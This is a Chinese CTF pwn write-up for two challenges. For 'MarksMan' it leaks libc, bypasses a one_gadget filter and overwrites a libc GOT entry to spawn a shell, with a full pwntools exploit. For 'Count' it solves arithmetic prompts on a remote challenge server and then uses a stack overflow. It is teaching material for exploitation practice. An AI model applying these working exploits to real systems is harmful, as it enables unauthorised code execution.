MarksMan
考点:任意地址写
程序保护措施全开,开局给一个puts
的地址,然后就是直接进入任意地址写入操作。
写入的目标地址直接填十进制字符,程序会调用 atol 给它转为 int 型。
向目标地址写入只能是 3 个字节,也就是低三位
1 2 3 4 5 6
| for ( i = 0; i <= 2; ++i ) { puts("biang!"); read(0, &v7[i], 1uLL); getchar(); }
|
这种题目貌似是前几个星期国外那边兴起的,然后基本套路就是在写入函数后(这题就是 main 函数 27 行之后)找 call 指令,找到适合的函数,修改为 onegadget 地址。
根据作者介绍,题目过滤了全部 one_gadget ,推测应该就是sub_BC2
这个函数,如果不含有过滤的 onegadget 就返回 1 ,进入任意地址写操作。
1 2 3 4 5 6 7
| signed __int64 __fastcall sub_BC2(_BYTE *a1) { if ( (*a1 != 0xC5u || a1[1] != 0xF2u) && (*a1 != 0x22 || a1[1] != 0xF3u) && *a1 != 0x8Cu && a1[1] != 0xA3u ) return 1LL; puts("You always want a Gold Finger!"); return 0LL; }
|
但是又从别的大佬 wp 看到,其实one_gadget xxxx
对于 onegadget 显示级别默认是 1 ,也就是只需要满足一个条件的,类似于这样:
1 2 3 4
| ubuntu18:~/hufu/pwn1$ one_gadget libc.so.6 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL
|
作者也就屏蔽了等级为 1 的 onegadget 。也就是说其他等级 onegadget 可能可用,显示其他等级 onegadget 加入参数-lx
(x 为级别),就能查询到这些:
1 2 3 4 5
| ubuntu18:~/hufu/pwn1$ one_gadget libc.so.6 -l2 0xe569f execve("/bin/sh", r14, r12) constraints: [r14] == NULL || r14 == NULL [r12] == NULL || r12 == NULL
|
调试寻找合适 got 表地址
调试环节,也就是找合适的 call 。首先就需要知道你修改后的目标值(onegadget 地址),然后为了能运行到写入函数后,肯定就需要一个存在的写入地址,就随便选一个 libc 地址。
调试使用的地址:
1 2 3 4 5
| 写入地址: 0x00007f96485cbc30 写入地址初始值: 0x00007f29b7 40ea40 onegadget 地址: 0x00007f9648 2c569f 寻找目标 got.plt 为: 0x00007f9648 xxxxxx libc_base 为: 0x00007f37f9d55000
|
在最后一次输入修改值前下断点:
1 2 3
| p.recvuntil('biang!\n') gdb.attach(p,'b *$rebase(0xd63)') p.sendline(p8((og>>16)&0xff))
|
step
单步调试,遇到 call 就si
单步入调用 plt 函数,看跳转到 got.plt 哪里。
在 _dlerror_run+96 调用了 _dl_catch_error@plt 对应地址 0x7f37fa146d90 (_dl_catch_error plt 表地址):
1 2 3 4 5 6 7
| 0x7f37fa14772a <_dlerror_run+90> mov r8, r12 0x7f37fa14772d <_dlerror_run+93> mov rcx, rbp ► 0x7f37fa147730 <_dlerror_run+96> call _dl_catch_error@plt <0x7f37fa146d90> rdi: 0x7f37fa3490f0 (last_result+16) ◂— 0x0 rsi: 0x7f37fa3490f8 (last_result+24) ◂— 0x0 rdx: 0x7f37fa3490e8 (last_result+8) ◂— 0x0 rcx: 0x7f37fa146f40 (dlopen_doit) ◂— push rbx
|
这里si
单步入,到 plt 找跳转的 got.plt 地址。第一行就是跳转的地址。
1 2 3 4 5 6 7
| ► 0x7f37fa146d90 <_dl_catch_error@plt> jmp qword ptr [rip + 0x2022a2] <0x7f37fa349038> 0x7f37fa146d96 <_dl_catch_error@plt+6> push 4 0x7f37fa146d9b <_dl_catch_error@plt+11> jmp 0x7f37fa146d40 ↓ 0x7f37fa146d40 push qword ptr [rip + 0x2022c2] <0x7f37fa349008> 0x7f37fa146d46 jmp qword ptr [rip + 0x2022c4] <0x7f37fa361750>
|
你也可以这样查 got.plt 中跳转的地址:
[collapse title=”展开查看详情” status=”false”]首先还是一样需要step
单步到_dlerror_run+96 ,就得到 plt 地址:0x7f37fa146d90。然后使用命令disass 0x7f37fa146d90
,反编译 plt 函数看看里面命令:
1 2 3 4 5 6
| pwndbg> disass 0x7f37fa146d90 Dump of assembler code for function _dl_catch_error@plt: 0x00007f37fa146d90 <+0>: jmp QWORD PTR [rip+0x2022a2] # 0x7f37fa349038 <[email protected]> 0x00007f37fa146d96 <+6>: push 0x4 0x00007f37fa146d9b <+11>: jmp 0x7f37fa146d40
|
当中的第一行就是 got.plt 地址,然后查一下里面的值就是函数地址或返回 plt :
pdisass
命令好像也是可以的,但好似有时会直接返回函数 libc 地址,有时又返回 plt 操作。查了一下disass
是反编译输出,pdisass
是带颜色和格式输出:(大雾.png)
1 2 3 4 5
| pwndbg> pdisass 0x7f37fa146d90 ► 0x7f37fa146d90 <_dl_catch_error@plt> jmp qword ptr [rip + 0x2022a2] <0x7f37fa349038> 0x7f37fa146d96 <_dl_catch_error@plt+6> push 4 0x7f37fa146d9b <_dl_catch_error@plt+11> jmp 0x7f37fa146d40
|
[/collapse]
为什么跳转地址是回到 plt ?
[collapse title=”展开查看详情” status=”false”]这个函数之前没有调用过,got 表没有记录,所以让 plt 出发链接器去找地址。
GOT 与 PLT 关系可以看这里
[/collapse]
反正不管它跳转那里只要符合要求,就是跳转地址前缀是0x00007f9648
就行。
所以最后应该向 0x7f37fa349038
写入,写入前的值为:0x00007f37fa146d96
,写入后的值为:0x00007f96482c569f
。
程序开了 PIE ,所以算下偏移:0x7f37fa349038
-0x7f37f9d55000
=0x5f4038
。
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
from pwn import *
context.log_level = 'debug' p = process("./chall") elf = ELF("./chall") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
onegadget_offset = 0xe569f write_add_offset = 0x5f4038
p.recvuntil("I placed the target near: ") puts_leak = int(p.recv(14),16) log.info("puts_leak:"+hex(puts_leak)) libc_base = puts_leak - libc.symbols['puts'] log.info("libc_base:"+hex(libc_base))
onegadget = onegadget_offset + libc_base log.info("onegadet:"+hex(onegadget)) write_addr = write_add_offset + libc_base log.info("write_addr:"+hex(write_addr))
p.recvuntil('shoot!shoot!\n')
p.sendline(str(write_addr)) p.recvuntil('biang!\n') p.sendline(p8(onegadget&0xff)) p.recvuntil('biang!\n') p.sendline(p8((onegadget>>8)&0xff)) p.recvuntil('biang!\n')
p.sendline(p8((onegadget>>16)&0xff))
p.interactive()
|
Count
算术题200道,之后通过栈溢出覆盖栈上变量为 256
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context.log_level='debug' p = remote('39.97.210.182',40285)
i = 0
while(i < 200): p.recvuntil("there have 200 levels ~Math: ") anw = p.recvuntil(" = ???input answer:",drop=1).split(' ') anw = int(anw[0])*int(anw[2])+int(anw[4])+int(anw[6]) p.sendline(str(anw)) i+=1
payload = 'a'*100+p64(0x12235612) p.sendline(payload) p.recvuntil("get it") p.interactive()
|